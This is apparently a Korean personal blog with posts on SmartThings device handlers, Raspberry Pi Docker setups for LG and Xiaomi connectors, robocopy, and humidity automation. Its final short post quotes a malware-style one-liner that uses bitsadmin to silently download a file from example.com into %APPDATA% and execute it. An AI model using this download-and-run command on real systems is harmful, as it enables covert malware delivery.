최근 아파트 월패드 시스템과 Smartthings를 연동을 위해 DTH를 뉴앱에 호환되도록 작성을 했다. 그런데 각종 타일들이 원하는대로 구성이 안되는 것을 확인, 힘들게 방법을 찾아 기록해둔다.

우선 Smartthings 클래식 앱과는 다르게 뉴앱은 vid(Device id로 추정)를 지정하면 타일이 자동으로 구성된다. 그럼 vid를 어디서 확인할 수 있느냐?

아직까지 Smartthings 뉴앱의 타일 구성 등 DTH 작성에 대한 공식적인 문서는 없다. 하지만 커뮤니티를 열심히 찾다보니 아래와 같은 글을 발견! https://community.smartthings.com/t/device-handler-update-to-support-new-stsc-app/163877

해당글에 따르면 우선 난방조절기를 위해 여러개의 vid가 존재함을 확인

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94


vid: "generic-radiator-thermostat"
main tile temp
temp
set heating
set mode
battery

vid: "generic-radiator-thermostat-1"
main tile power
refersh
temp
set cooling
set heating
operating state
set mode
set fan
set heating
set cooling
set mode
operating state
battery
set temp line?

vid: "generic-radiator-thermostat-2"
main tile temp
Temp
set temp heating
battery

vid: "generic-radiator-thermostat-3"
main tile power
refersh
temp
set cooling
set heating
operating state
set mode
set fan
set heating
set cooling
set mode
operating state
battery
set temp line?

vid: "generic-thermostat"
main tile power
refersh
temp
set cooling
set heating
operating state
set mode
set fan
set heating
set cooling
set mode
operating state
battery
set temp line?

vid: "generic-thermostat-1"
main tile temp
temp
set temp heating and cooling
operating state
set mode
set fan mode
battery

vid: "generic-thermostat-2"
main tile switch
switch
refresh
temp
set cooling
set heating
operating state
set mode
set fan mode
set heating
set cooling
set mode
operating state
battery
set temp line?

vid:"SmartThings-smartthings-Z-Wave_Thermostat"
main tile temp
temp
set heating and cooling
operating state
set mode
set fan mode

우리집은 현재온도, 설정온도 이렇게 2가지만 표시할 수 있는 타일이 필요하므로 vid를 'generic-radiator-thermostat-2'로 정하고 metadata는 아래와 같이 구성했다.

1
2
3
4
5
6
7
8


metadata {
 definition (name: "Heating", namespace: "ByJJoon", author: "ByJJoon", vid: "generic-radiator-thermostat-2") {
 capability "Thermostat"
 capability "Thermostat Heating Setpoint"
 capability "Thermostat Cooling Setpoint"
 capability "Temperature Measurement"
 }
}

내가 선택한 vid에는 'battery'가 기본적으로 나오게 되어 있으나 capability에 Battery를 추가해주지 않아 표시가 되지 않는다.

이렇게 작성하면 클래식앱에서 필요한 tiles{...} 같은 코드 없이 자동으로 타일이 구성, 아이콘도 이쁜 아이콘으로 적용된다.

이외에도 여러 vid 및 Capabilities를 참고할 수 있는 페이지도 있어 링크를 걸어둔다. https://vid-selector.glitch.me/ https://smartthings.developer.samsung.com/docs/api-ref/capabilities.html#Capabilities

공식문서가 나오기 전까지 Smartthings 뉴앱 기반에서 DTH 작성에 도움이 되길 바라며.....

라즈베리파이에 LG-Connector 설치하기

Sun, 08 Mar 2020 19:33:38 +0900

Smartthings에 집에 있는 LG 건조기를 연동하기 위해 lg-connector를 라즈베리파이에 설치해보았다. 참고 : https://github.com/fison67/LG-Connector/blob/master/README.md

라즈베리파이에 LG-Connector 설치

1
2
3
4
5


sudo mkdir /docker
sudo mkdir /docker/lg-connector
sudo chown -R pi:pi /docker
sudo docker pull fison67/lg-connector:0.0.5
sudo docker run -d --restart=always -v /docker/lg-connector:/config --name=lg-connector --net=host -e TZ=Asia/Seoul fison67/lg-connector:0.0.5

LG-Connector 설정

1
2
3
4
5
6
7
8


1. Open LG Connector web settings page (http://X.X.X.X:30020/)
2. Default Login ID & Password is [ admin / 12345 ]
3. Select a System IP Address. & Press a Save button.
4. Open a LG Connector of Smartapp. Fill in the blanks. Press Save button.
5. Go to the Smartthinq tab of web setting page & Press a Get Token button. 
 You can see a new window.
 Login by your lg account. When you success a login, Copy an url of brower and paste it to box of Refresh Token.
5. Restart LG Connector Docker container

DTH 설치

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


1. Go to the SmartThings IDE
2. Select the My Device Handlers tab
3. Click on the "Settings" button
4. Click on the "Add new repository" option and fill in the following information:
 Owner: fison67
 Name: LG-Connector
 Branch: master
5. Click on the "Save" button
6. Click on the "Update from Repo" button and select the "LG-Connector (master)" option
7. Check the checkbox for the device types you need (or all of them) in the "New (only in GitHub)" column
8. Check the "Publish" checkbox and click on the "Execute Update" button

스마트앱 설치

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


1. Go to the SmartThings IDE
2. Select the My SmartApps tab
3. Click on the Settings button
4. Click on the "Add new repository" option and fill in the following information:
 Owner: fison67
 Name: LG-Connector
 Branch: master
5. Click on the "Save" button
6. Click on the "Update from Repo" button and select the "LG-Connector (master)" option
7. Check the checkbox for the device types you need (or all of them) in the "New (only in GitHub)" column
8. Check the "Publish" checkbox and click on the "Execute Update" button
9. Select the My SmartApps tab
10. Click on the "Edit Properties" button for the LG Connector SmartApp (fison67 : LG Connector)
11. Click on the "OAuth" option and click on the "Enable OAuth" button
12. Click on the "Update" button

ROBOCOPY 사용법

Sun, 23 Feb 2020 13:20:20 +0900

기본 사용법

1

robocopy 원본 대상 옵션

미러링 카피(/MIR)
하위 디렉토리까지 복사, 원본에 없는 파일이나 디렉토리를 자동 삭제.

1

robocopy E:\사진모음 F:\사진모음 /MIR /LOG+:Backup_%date%.log

옵션 설명

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187


-------------------------------------------------------------------------------
 ROBOCOPY :: Windows용 견고한 파일 복사
-------------------------------------------------------------------------------

 시작됨: 2020년 2월 23일 일요일 오후 1:19:16
 사용법 :: ROBOCOPY 원본 대상 [파일 [파일]...] [옵션]

 원본 :: 원본 디렉터리(드라이브:\경로 또는 \\서버\공유\경로)
 대상 :: 대상 디렉터리(드라이브:\경로 또는 \\서버\공유\경로)
 파일 :: 복사할 파일입니다. 이름/와일드카드: 기본값은 "*.*"입니다.

::
:: 복사 옵션:
::
 /S :: 비어 있는 디렉터리는 제외하고 하위 디렉터리를 복사합니다.
 /E :: 비어 있는 디렉터리를 포함하여 하위 디렉터리를 복사합니다.
 /LEV:n :: 원본 디렉터리 트리의 최상위 n개 수준만 복사합니다.

 /Z :: 다시 시작 모드에서 파일을 복사합니다.
 /B :: 백업 모드에서 파일을 복사합니다.
 /ZB :: 다시 시작 모드를 사용합니다. 액세스가 거부된 경우 백업
 모드를 사용합니다.
 /J :: 버퍼를 사용하지 않은 I/O로 복사합니다(큰 파일에 권장).
 /EFSRAW :: EFS RAW 모드에서 암호화된 모든 파일을 복사합니다.

 /COPY:copyflag[s] :: 파일에 대해 복사할 내용입니다. 기본값은 /COPY:DAT입니다.
 (copyflags : D=데이터, A=특성, T=타임스탬프).
 (S=보안=NTFS ACL, O=소유자 정보, U=감사 정보).

 /SEC :: 보안된 파일을 복사합니다. /COPY:DATS와 동일합니다.
 /COPYALL :: 모든 파일 정보를 복사합니다. /COPY:DATSOU와 동일합니다.
 /NOCOPY :: 파일 정보를 복사하지 않습니다. /PURGE와 사용하면 좋습니다.
 /SECFIX :: 건너뛴 파일도 포함하여 모든 파일의 파일 보안을 수정합니다.
 /TIMFIX :: 건너뛴 파일도 포함하여 모든 파일의 파일 시간을 수정합니다.

 /PURGE :: 원본에 없는 대상 파일/디렉터리를 삭제합니다.
 /MIR :: 디렉터리 트리를 미러링합니다. /E와 /PURGE를 함께 쓰는 것과 동일합니다.

 /MOV :: 파일을 이동합니다. 복사한 다음 원본에서 삭제합니다.
 /MOVE :: 파일 및 디렉터리를 이동합니다. 복사한 다음 원본에서
 삭제합니다.

 /A+:[RASHCNET] :: 제공된 특성을 복사된 파일에 추가합니다.
 /A-:[RASHCNET] :: 제공된 특성을 복사된 파일에서 제거합니다.

 /CREATE :: 디렉터리 트리와 길이가 0인 파일만 만듭니다.
 /FAT :: 8.3 FAT 파일 이름만 사용하여 대상 파일을 만듭니다.
 /256 :: 256자를 초과하는 매우 긴 경로에 대한 지원을 사용하지
 않습니다.

 /MON:n :: 원본을 모니터링합니다. n개 이상의 변경 내용이
 표시된 경우 다시 실행합니다.
 /MOT:m :: 원본을 모니터링합니다. 변경 내용이 있으면 m분 후에
 다시 실행합니다.

 /RH:hhmm-hhmm :: 실행 시간 - 새 복사본을 시작할 수 있는 시간입니다.
 /PF :: 통과 기준이 아닌 파일당 기준으로 실행 시간을 확인합니다.

 /IPG:n :: 패킷 간 간격(ms), 저속 회선에서 사용 가능한 대역폭을
 확보합니다.

 /SL :: 대상에 대한 심볼 링크를 복사합니다.

 /MT[:n] :: n개의 스레드가 있는 다중 스레드를 복사합니다(기본값 8).
 n은 1 이상 128 이하여야 합니다.
 이 옵션은 /IPG 및 /EFSRAW 옵션과 호환되지 않습니다.
 성능을 향상시키려면 /LOG 옵션을 사용하여 출력을 리디렉션하세요.

 /DCOPY:copyflag[s] :: 디렉터리에 대해 복사할 내용(기본값은 /DCOPY:DA).
 (copyflags : D=데이터, A=특성, T=타임스탬프).

 /NODCOPY :: 디렉터리 정보 복사 안 함(기본적으로 /DCOPY:DA 수행).

 /NOOFFLOAD :: Windows 복사본 오프로드 메커니즘을 사용하지
 않고 파일을 복사합니다.

::
:: 파일 선택 옵션:
::
 /A :: 보관 특성 집합이 있는 파일만 복사합니다.
 /M :: 보관 특성이 있는 파일만 복사하고 보관 특성을 해제합니다.
 /IA:[RASHCNETO] :: 지정된 특성을 가진 파일만 포함합니다.
 /XA:[RASHCNETO] :: 지정된 특성을 가진 파일을 제외합니다.

 /XF file [file]... :: 지정된 이름/경로/와일드카드와 일치하는 파일을 제외합니다.
 /XD dirs [dirs]... :: 지정된 이름/경로와 일치하는 디렉터리를 제외합니다.

 /XC :: 변경된 파일을 제외합니다.
 /XN :: 새 파일을 제외합니다.
 /XO :: 오래된 파일을 제외합니다.
 /XX :: 추가 파일 및 디렉터리를 제외합니다.
 /XL :: 고립된 파일 및 디렉터리를 제외합니다.
 /IS :: 같은 파일을 포함합니다.
 /IT :: 조정된 파일을 포함합니다.

 /MAX:n :: 최대 파일 크기 - n바이트를 초과하는 파일을 제외합니다.
 /MIN:n :: 최소 파일 크기 - n바이트 미만의 파일을 제외합니다.

 /MAXAGE:n :: 최대 파일 사용 기간 - n일/날짜보다 오래된 파일을
 제외합니다.
 /MINAGE:n :: 최소 파일 사용 기간 - n일/날짜보다 최신 파일을
 제외합니다.
 /MAXLAD:n :: 최대 마지막 액세스 날짜 - n 이후에 사용되지 않은
 파일을 제외합니다.
 /MINLAD:n :: 최소 마지막 액세스 날짜 - n 이후에 사용된 파일을
 제외합니다.
 n이 1900보다 크면 n은 n일과 같고 그렇지 않으면
 n은 YYYYMMDD 날짜입니다.

 /XJ:: 심볼 링크와 연결 지점을 제외합니다. 일반적으로 기본값으로 포함됩니다.

 /FFT :: FAT 파일 시간(2초 단위)을 가정합니다.
 /DST :: 1시간의 DST 시간 차이를 보완합니다.

 /XJD :: 디렉터리의 연결 지점과 심볼 링크를 제외합니다.
 /XJF:: 파일의 심볼 링크를 제외합니다.

 /IM :: 수정된 파일을 포함합니다 (변경 시간에 차이가 있음).
::
:: 다시 시도 옵션:
::
 /R:n :: 실패한 복사본에 대한 다시 시도 횟수입니다. 기본값은
 1백만입니다.
 /W:n :: 다시 시도 간 대기 시간입니다. 기본값은 30초입니다.

 /REG :: /R:n 및 /W:n을 레지스트리에 기본 설정으로 저장합니다.

 /TBD :: 정의할 공유 이름을 기다립니다(다시 시도 오류 67).

::
:: 로깅 옵션:
::
 /L :: 목록 전용 - 파일을 복사 또는 삭제하거나 타임스탬프를
 만들지 않습니다.
 /X :: 선택된 파일을 제외하고 모든 추가 파일을 보고합니다.
 /V :: 자세한 정보 표시를 출력하고 건너뛴 파일을 표시합니다.
 /TS :: 출력에 원본 파일 타임스탬프를 포함합니다.
 /FP :: 출력에 파일의 전체 경로 이름을 포함합니다.
 /BYTES :: 바이트 크기로 인쇄합니다.

 /NS :: 크기 없음 - 파일 크기를 기록하지 않습니다.
 /NC :: 클래스 없음 - 파일 클래스를 기록하지 않습니다.
 /NFL :: 파일 목록 없음 - 파일 이름을 기록하지 않습니다.
 /NDL :: 디렉터리 목록 없음 - 디렉터리 이름을 기록하지 않습니다.

 /NP :: 진행률 없음 - 복사율(%)을 표시하지 않습니다.
 /ETA :: 복사하는 파일의 예상 도착 시간을 표시합니다.

 /LOG:file :: 상태를 로그 파일에 출력합니다. 기존 로그를 덮어씁니다.
 /LOG+:file :: 상태를 로그 파일에 출력합니다. 기존 로그에 추가합니다.

 /UNILOG:file :: 상태를 유니코드로 로그 파일에 출력합니다. 기존
 로그를 덮어씁니다.
 /UNILOG+:file :: 상태를 유니코드로 로그 파일에 출력합니다. 기존 로그에
 추가합니다.

 /TEE :: 로그 파일과 콘솔 창에 출력합니다.

 /NJH :: 작업 헤더가 없습니다.
 /NJS :: 작업 요약이 없습니다.

 /UNICODE :: 상태를 유니코드로 출력합니다.

::
:: 작업 옵션:
::
 /JOB:jobname :: 명명된 작업 파일에서 매개 변수를 가져옵니다.
 /SAVE:jobname :: 명명된 작업 파일에 매개 변수를 저장합니다.
 /QUIT :: 매개 변수를 볼 수 있도록 명령줄을 처리한 후에 끝냅니다.
 /NOSD :: 원본 디렉터리가 지정되어 있지 않습니다.
 /NODD :: 대상 디렉터리가 지정되어 있지 않습니다.
 /IF :: 다음 파일을 포함합니다.

::
:: 설명:
::
 이전에 볼륨의 루트 디렉토리에서 /PURGE 또는 /MIR 사용하면
 요청된 작업이 robocopy에 의해 시스템 볼륨 정보 디렉터리 내부의
 파일에도 적용되었습니다. 이제는 더 이상 적용되지 않습니다.
 둘 중 하나가 지정되면 robocopy는 복사본 세션의 최상위 원본
 및 대상 디렉토리에서 해당 이름을 가진 파일 또는 디렉토리를 건너 뜁니다.

 수정된 파일 분류는 두 원본 모두에 적용되는 경우에만 적용됩니다
 그리고 대상 파일 시스템은 변경 타임 스탬프를 지원합니다 (예: NTFS)
 원본 및 대상 파일의 변경 시간은 다르지만
 다른 경우에는 동일합니다. 기본적으로 이러한 파일은 복사되지 않습니다.
 포함시키려면 /IM을 지정하세요.

라즈베리파이에 Mi-Connector 설치하기

Thu, 20 Feb 2020 12:56:50 +0900

개요

샤오미 가습기(모델명:CJXJSQ02ZM)를 Smartthings에서 컨트롤 하고자 라즈베리파이에 Mi-Connector를 설치하여 보았습니다.

라즈베리파이 설정

우선 라즈베리파이 공식 홈페이지에서 라즈비안(어감이 좋지 않네요...Raspbian) 최신버전을 다운로드 합니다. 저는 콘솔에서만 작업할 예정이므로 'Raspbian Buster Lite'를 다운로드 했습니다.

Raspbian : https://www.raspberrypi.org/downloads/raspbian/

Raspbian Buster with desktop and recommended software 라즈비안 데스크톱 이미지에 Python,Scratch와 같은 프로그램들이 미리 설치되어있는 버전
Raspbian Buster with desktop 라즈비안 이미지에 필수적인 패키지들만 설치되어있는 버전
Raspbian Buster Lite 라즈비안 이미지에 데스크톱 환경이 설치되어 있지 않으며 GUI가 필요하지 않은 버전

다운로드가 끝나면 MicroSD 카드에 balenaEtcher 툴을 이용해 이미지를 올려줍니다. balenaEtcher : https://www.balena.io/etcher/

라즈비안이 MicroSD 카드에 준비가 되면 카드를 연결하고 모니터, 키보드, 마우스, 전원을 꼽고 부팅합니다. 기본 계정은 다음과 같습니다

1

ID: pi, Password: raspberry

이제 접속후 원격에서 SSH로 접근할 수 있도록 아래 명령어를 입력합니다.

1

sudo raspi-config

그리고 'Interfacing Options > SSH'를 선택해 Enbaled 해줍니다. 다음으로 시간대를 맞춰야 하므로 'Localisation Options > Change Timezone'을 선택해 서울로 변경합니다.

라즈베리파이에 Docker 설치

이제 SSH를 통해 원격으로 접근이 가능하다면 Docker를 설치해봅시다. 아래 명령어를 통해 Docker 설치 스크립트를 받습니다.

1
2


wget get.docker.com -O get-docker.sh
sudo bash get-docker.sh

도커가 잘 실행되고 있는지 확인해 봅시다.

1
2
3
4


pi@raspberrypi:/docker/mi-connector $ ps -aux | grep docker
root 1565 31.4 8.7 1007824 83356 ? Ssl 02:58 4:25 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
pi 3854 0.0 0.0 7348 424 pts/0 S+ 03:12 0:00 grep --color=auto docker
pi@raspberrypi:/docker/mi-connector $ 

Mi-Connector 설치

참고 : https://github.com/fison67/mi_connector/blob/master/README.md#installation

Mi-Connector 도커 이미지를 다운로드 받아 실행을 합니다.

1
2
3
4
5


sudo mkdir /docker
sudo mkdir /docker/mi-connector
sudo chown -R pi:pi /docker
sudo docker pull fison67/mi-connector:latest
sudo docker run -d --restart=always -v /docker/mi-connector:/config --name=mi-connector --net=host -e TZ=Asia/Seoul fison67/mi-connector:latest

그리고 데이터베이스도 설치합니다.

1
2


sudo docker pull jsurf/rpi-mariadb
sudo docker run -d --restart=always --name mariadb -e MYSQL_ROOT_PASSWORD=password -e TZ=Asia/Seoul -p 33006:3306 -d jsurf/rpi-mariadb

이제 도커가 잘 실행되고 있는지 확인해 봅시다.

1
2
3
4


pi@raspberrypi:/docker/mi-connector $ sudo docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
577bcbabe8c7 fison67/mi-connector:latest "/bin/sh -c 'npm sta…" 4 minutes ago Up 4 minutes mi-connector
9f0de0bd959c jsurf/rpi-mariadb 

Mi-Connector 설정

설치가 완료되었으면 http://라즈베리파이주소:30000 으로 접속해봅시다.

먼저 'Settings > Settings'로 가서 'DB Settings' 항목에서 Resigter 버튼을 누른후 'Settings > Logs'에서 "DB is connected" 로그가 정상적으로 찍히는지 확인해야 합니다.

그리고 'Home > Dashboard' 에서 Xiaomi Devices에 기기가 등록이 된다면 성공! 등록이 안된다면 'Manage Device > Search Device'를 통해 기기가 검색이 되는지 확인합시다. 기기가 검색이 된다면 토큰만 추출한다면 수동으로 등록을 할 수 있습니다.

토큰 추출 방법

첫번째 방법

먼저 녹스앱플레이어를 통해 미홈(버젼 5.0.19) 앱을 실행합니다. 녹스 앱플레이어 : https://kr.bignox.com/미 홈(5.0.19) : https://www.apkmirror.com/apk/xiaomi-inc/mihome/mihome-5-0-19-release/mihome-5-0-19-android-apk-download/download/

그리고 설정에서 'ROOT켜기' 옵션을 켠다음 미홈 앱을 실행하고 로그인후 등록하고자 하는 기기가 모두 올라오는 것을 확인합니다.

이제 파일탐색기(File Manager)로 '/data/data/com.xiaomi.smarthome/database/miio2.db' 파일을 녹스앱플레이어 공유 폴더로 복사합니다.

이후 해당 폴더를 밖으로 뺀다음 아래 툴로 miio2.db 파일을 열어봅니다. DB Browser for SQLite : https://sqlitebrowser.org/

테이블명은 'devicerecord' 이고 각 기기별 token 칼럼을 확인할 수 있을겁니다.

두번째 방법

스마트폰에 아래 버전의 미홈을 설치하고 '/Smarthome/logs/plug_DeviceManager' 폴더로 이동. 해당 폴더에 txt 파일이 있으며 파일을 잘 살펴보면 token을 확인할 수 있습니다.

https://www.apkmirror.com/apk/xiaomi-inc/mihome/mihome-5-4-49-release/mi-home-5-4-49-android-apk-download/

샤오미 기기 수동 등록

토큰 추출이 완료되었으면 다시 http://라즈베리파이주소:30000 로 접속합니다. 'Manage Device > Device Search'에서 나오는 IP를 기억합니다. 그리고 'Manage Device > Device List'에서 Add 버튼을 눌러 기기별 IP 및 토큰을 입력하면 됩니다. 이후 'Manage Device > Add Device[ST]'를 누르면 Smartthings에 기기가 등록이 됩니다.

웹코어(webCoRE) 트리거 개수에 따른 메모리 변화

Tue, 11 Feb 2020 05:05:08 +0900

웹코어를 작성하다 보면 상단에 메모리 사용량이 표시되는데 동일한 기능을 수행하는 코드라도 메모리 사용량에 차이가 있어 기록 차원에서 남겨둔다.

아래는 수면시간중 침실 습도의 최적화를 위해 작성한 코드인데 코드 라인수는 동일하지만 트리거(좌측 번개표시)의 개수에 따라 메모리 사용량이 달라지는 것으로 보인다.

첫번째 코드 : 메모리 사용량(27%) 트리거를 4개 사용, 각 각 일정에 맞게 가습기를 동작하도록 구성
두번째 코드 : 메모리 사용량(9%) 트리거를 2개 사용, 현재 습도에 따라 분기하여 각 각 일정조건이 맞는지 확인

개인적으로 코드 직관성은 첫번째가 좋으나 트리거가 적은 두번째로 작성하도록 고민이 필요해 보임...

침실 습도 최적화

Sat, 08 Feb 2020 16:40:53 +0900

들어가며

최근 홈 IOT에 관심이 생겨 여러가지 작업을 진행했고 시행 과정에서 예상하지 못한 오류와 해결하기 위한 삽질 과정이 있어 공유 및 기록 차원에서 글을 남긴다.

나의 홈 IOT 플랫폼은 Smartthings(이하 ST) 허브로 구축했고 webCoRE를 쓰지않고 ST 앱(Classic 아님, 일명 뉴앱)의 자동화(Automation) 기능만 활용하였다.

그 이유는 아래 3가지 정도이며 ST 앱의 자동화 기능도 클라우드긴 하지만 ST 서버 장애시 webCoRE도 장애가 날 것이므로 한단계라도 줄이는게 낫다고 판단했다.

webCoRE 서버 장애시 기능정지 및 오동작 우려
클라우드 환경이다 보니 webCoRE를 한번 더 거치게 됨으로써 딜레이 발생 가능성
webCoRE를 사용할 정도의 복잡하고 세밀한 자동화 불필요

그리고 네이버 카페 등 많은 커뮤니티에서 ST Classic 앱을 더 선호하던데, 새로운 앱이 나온 이상 향후 뉴앱을 중심으로 개발되고 발전될 것으로 예상되어 뉴앱으로만 자동화 코드를 작성하였다.

환경구성에 대한 설명은 이정도로 마치고 우선 첫번째로 IOT를 통해 수면환경을 개선하는 것을 목표로 취침시간중 습도를 45~55%로 유지하는 것으로 시작해봤다.

준비 과정

허브 : Smartthings HUB 3세대

국내용 제품은 아직 없어 아마존에서 직구를 해야 했다. 미국용 제품이나 보니 Zigbee 기기 연결은 상관없으나, Z-Wave 기기 연결시 미국향 제품만 연동이 된다.

Samsung SmartThings Hub 3rd Generation [GP-U999SJVLGDA] https://www.amazon.com/dp/B07FJGGWJL/ref=cm_sw_r_tw_dp_U_x_565oEb92T8R1B

습도센서 : Awair 2세대

제품 URL : https://kr.getawair.com/

습도는 가습기 자체에서 체크도 가능하지만 기왕이면 향후 확장성(CO2 관리 등)을 고려해 온도, 습도, CO2, 화학물질, 초미세먼지 측정이 가능한 Awair 2세대 센서를 구매했다.

Awair는 기본적으로 ST와 연동을 지원한다. 또한 Awair 전용앱에선 그래프를 통한 과거 수치 변화 및 알림 등 다양한 기능을 제공한다.

가습기 : 샤오미 2세대 가습기(자연기화식, 모델명 : CJXJSQ02ZM)

가습기는 개인적으로 무조건 자연기화식이나 가열식을 써야 한다고 생각한다.

이유는 초음파식 가습기는 물속의 이물질이 방출되어 직접 폐까지 전달될 수 있으며 과거 발생한 가습기살균제 사고도 초음파식 가습기로 인해 발생한 사고다.
(http://nosearch.co.kr/221390119627, 카테고리 1-2 '가습 방식별 위생 안정성'을 꼭! 읽어보기 바람)

이에 나는 자연기화식 가습기를 구매해 오랜기간 사용해오고 있다.

각설하고 사오미 제품들은 미홈 앱을 통해 내가 원하는 다양한 자동화를 구성할 수 있다.
(특정시간이나 특정 습도시 켜고 끄는 등 다양한 자동화가 가능)

하지만 다양한 기기 및 센서 등을 활용하고자 샤오미 기기만 연동되는 미홈 앱은 사용하지 않는 것으로 결정했다.

그리고 샤오미 가습기의 습도센서는 우리집의 실제 습도와 약 5~10% 높게 측정되어 신뢰성이 부족하였고, 향후 확장성도 고려해 Awair를 통해 습도를 확인하는 것으로 설정했다.

스마트플러그 : 다원DNS Zigbee 스마트플러그 16A

제품 URL : https://pmshop.co.kr/product/detail.html?product_no=100&cate_no=33&display_group=1

Awair 센서를 통해 특정 습도 이하/이상일 경우 가습기를 켜고/끄기 위해 스마트플러그가 필요하였다. 국내 제품인 다원DNS의 Zigbee 스마트플러그를 구매, ST HUB와 연동하였다.

연동 방법은 부엉이 님이 만드신 DTH를 활용하여 연동하였다.

https://blog.weekendproject.net/248?category=707578
https://github.com/WooBooung/BooungThings/blob/master/devicetypes/woobooung/dawondns-smartplug.src/dawondns-smartplug.groovy

삽질의 시작..... -_-

가습기의 정전보상 기능

위 모든 기기를 모두 연결하고 ST 앱에도 연동에 성공, 이제 스마트플러그를 켜고 끄고 해보았다. 잘 켜고 꺼진다. 그런데 스마트플러그에 연결한 가습기가 꺼진 이후 켜지지가 않는다.

그렇다. 샤오미 가습기는 정전보상 기능이 없었다.....

정전보상 : https://terms.naver.com/entry.nhn?docId=2415895&cid=51399&categoryId=51399

전자제품의 경우 전기가 차단된 이후 다시 전기 공급시 이전 설정값으로 동작하는 정전보상 기능이 있는 제품들이 있으나 샤오미 기기는 그게 없었다.

그래서 Raspberry Pi에 샤오미 기기들을 ST에 연결을 해주는 Mi-Connector를 설치하여 연동하는 방법으로 해야 하나 고민...(이거 하나 동작시키자고 이래야 하나?)

그러다 아래와 같이 미홈 앱의 자동화 기능을 활용하여 손쉽게(?) 정전보상 기능을 대체하였다.

이제 스마트플러그의 전원이 들어오면 가습기도 전원이 켜진다. (꺼지는건 당연히 꺼지고...)

Awair 센서의 이상

ST와 연동된 Awair 센서에서 습도를 지속적으로 모니터링하여 가습기를 켰다 껐다 해야하는데 불특정하게 Awair 측정값들이 갱신이 안되고 멈추는 현상이 발생.

이에 Awair 공식 서비스가 아닌 부엉이 님이 만들어 배포중인 스마트앱 및 DTH를 통해 연동하니 그러한 문제는 일어나지 않았다.

차이는 공식은 실시간으로 각종 센서값을 받아오지만, 부엉이 님이 만드신 스마트앱은 API 호출이 하루 300회로 제한이 있어 5분에 한번씩 측정값을 받아오게 되어 있었다.

https://blog.weekendproject.net/244?category=707578
https://github.com/WooBooung/BooungThings
https://youtu.be/KPhvK8RHhX4

뉴앱 자동화 조건의 문제

다음 단계로 수면 환경 개선을 위해 Smartthings 앱의 자동화 기능을 아래와 같이 작성했다.

수면시간(20:20~07:20) 동안 습도 45% 이하일 경우 가습기를 켬
수면시간(20:20~07:20) 동안 습도 55% 이상일 경우 가습기를 끔
기상시간(07:35)이 되면 가습기를 끔

그런데 자동화 1번 항목에서 문제가 발생. 수면시간인 20:20이 되었고 Awair 센서가 측정한 습도가 45%이하인데도 가습기가 켜지지 않았다. 이게 가장 오류를 찾기가 어려웠는데 온갓 뻘짓을 해보다 겨우 원인을 찾았다.

처음에는 Awair 센서의 습도가 이전과 동일할 경우 Awair 센서의 History상에 습도가 업데이트 되지 않는 것을 확인하여 API를 참고해 코드를 수정, 이전 습도와 값이 동일하더라도 측정값이 반영되도록 하였지만 여전히 문제가 발생했다.

https://docs.smartthings.com/en/latest/ref-docs/smartapp-ref.html#sendevent

1
2
3


case "humid": childDevice?.sendEvent(name: "humidity", value: it.value as Integer, unit: "%"); break

case "humid": childDevice?.sendEvent(name: "humidity", value: it.value as Integer, isStateChange: true, unit: "%"); break

그래서 지속적으로 관찰한 결과 습도값이 1이라도 변경이 되어야만 자동화가 활성화 되는것을 확인!

예를들어 Awair 센서의 습도가 20:15경 43%인데 20:20 이후 계속 43%로 고정이 되어 값이 변하지 않는다면 습도 45% 이하라는 조건이 활성화 되지 않다가 42%와 같이 습도가 변경이 되어야만 활성화가 되었다.

그래서 습도를 소수점 단위로 받는다면 값이 자주 바뀔것이므로 이러한 문제를 해결할 수 있으리라 생각, 부엉이 님의 스마트앱 코드를 수정하였다.

1
2
3
4
5
6


case "humid": childDevice?.sendEvent(name: "humidity", value: it.value as Integer, unit: "%"); break

case "humid":
Double humidDouble = it.value
childDevice?.sendEvent(name: "humidity", value: humidDouble.round(1), unit: "%")
break

이후 Awair 센서를 통해 습도를 소수점 단위로 잘 받아오는 것을 확인했고 자동화도 동작함을 확인했다.
하지만 기쁨도 잠시 다음날 취침시간에 켜지지 않는 문제가 발생... 결국 뉴앱의 자동화는 버리고 webCoRE로 갈아탐 -_-

결론

웹코어로 갈아타서 트리거 및 컨디션 등의 조건을 보다보니 뉴앱 오토메이션 'Equal to or below 45' 조건은 웹코어로 치면 컨디션이 아닌 트리거로 추측된다.

웹코어의 'drops below 45' 트리거는 시작 시점의 습도가 44%라면 참이되지 않는다. 참이 되려면 시작 시점의 습도가 47%였다가 45% 밑으로 떨어져야만 참이된다. 그래서 위 뉴앱의 자동화 기능도 오류가 있었던 것으로 추측된다.

나의 결론은 그냥 webCoRE 쓰세요. 두번 쓰세요...

wget과 유사한 윈도우 기본 명령어 bitsadmin

Tue, 11 Oct 2016 13:25:07 +0000

악성코드 분석글을 읽다 윈도우 환경에서 wget 명령어와 유사하게 파일을 다운로드 할 수 있는 기본 명령어가 있어 메모해 둡니다.

1

ping 127.0.0.1 -n 3>null&bitsadmin /transfer myjob /download /priority high http://example.com/a.bin "%APPDATA%\a.exe">nul&start %APPDATA%\a.exe

